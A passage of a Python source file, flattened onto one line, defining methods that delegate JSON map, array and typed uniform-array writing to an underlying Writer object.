separator ''' return self.Writer.jsonNewLine() def jsonBeginMap(self): ''' Start a map/object ''' return self.Writer.jsonBeginMap() def jsonEndMap(self): ''' End a map/object ''' return self.Writer.jsonEndMap() def jsonBeginArray(self): ''' Start an array ''' return self.Writer.jsonBeginArray() def jsonEndArray(self): ''' End an array ''' return self.Writer.jsonEndArray() def beginUniformArray(self, length, jid_type): ''' Begin an array of uniform values. @param length The length of the uniform array @param jid_type The type of items (i.e. JID_INT16) ''' return self.Writer.beginUniformArray(length, jid_type) def uniformWriteBool(self, value): ''' Write a bool to the array of uniform values ''' return self.Writer.uniformWriteBool(value) def uniformWriteInt8(self, value): ''' Write an 8-bit integer to the uniform array ''' return self.Writer.uniformWriteInt8(value) def uniformWriteInt16(self, value): ''' Write a 16-bit integer to the uniform array ''' return self.Writer.uniformWriteInt16(value) def uniformWriteInt32(self, value): ''' Write a 32-bit integer to the uniform array ''' return self.Writer.uniformWriteInt32(value) def uniformWriteInt64(self, value): ''' Write a 64-bit integer to the uniform array ''' return self.Writer.uniformWriteInt64(value) def uniformWriteReal16(self, value): ''' Write a 16-bit real to the uniform array ''' return self.Writer.uniformWriteReal16(value) def uniformWriteReal32(self, value): ''' Write a 32-bit real to the uniform array ''' return self.Writer.uniformWriteReal32(value) def uniformWriteReal64(self, value): ''' Write a 64-bit real to the uniform array ''' return self.Writer.uniformWriteReal64(value) def endUniformArray(self): ''' End the uniform array ''' return self.Writer.endUniformArray() def _jsonUniformArray(self, jid_type, value, method): ''' Internal convenience function to handle uniform arrays ''' if not self.beginUniformArray(len(value), jid_type): return False for v in value: if not method(v): return False return self.endUniformArray() def jsonUniformArrayBool(self, value): ''' Convenience method to output an entire array of bools ''' return self._jsonUniformArray(JID_INT8, value, self.uniformWriteBool) def jsonUniformArrayInt8(self, value): ''' Method to output an entire array as 8-bit signed integers ''' return self._jsonUniformArray(JID_INT8, value, self.uniformWriteInt8) def jsonUniformArrayInt16(self, value): ''' Method to output an entire array as 16-bit signed integers ''' return self._jsonUniformArray(JID_INT16, value, self.uniformWriteInt16) def jsonUniformArrayInt32(self, value): ''' Method to output an entire array as 32-bit signed integers ''' return self._jsonUniformArray(JID_INT32, value, self.uniformWriteInt32) def jsonUniformArrayInt64(self, value): ''' Method to output an entire array as 64-bit signed integers ''' return self._jsonUniformArray(JID_INT64, value, self.uniformWriteInt64) def jsonUniformArrayReal16(self, value): ''' Method to output an entire array as 16-bit floats ''' return self._jsonUniformArray(JID_REAL16, value,self.uniformWriteReal16) def jsonUniformArrayReal32(self, value): ''' Method to output an entire array as 32-bit floats ''' return self._jsonUniformArray(JID_REAL32, value,self.uniformWriteReal32) def jsonUniformArrayReal64(self, value): ''' Method to output an entire array as 64-bit floats ''' return self._jsonUniformArray(JID_REAL64, value,self.uniformWriteReal64) def getBinary(self): ''' Returns whether the writer is binary or ASCII ''' return self.Binary
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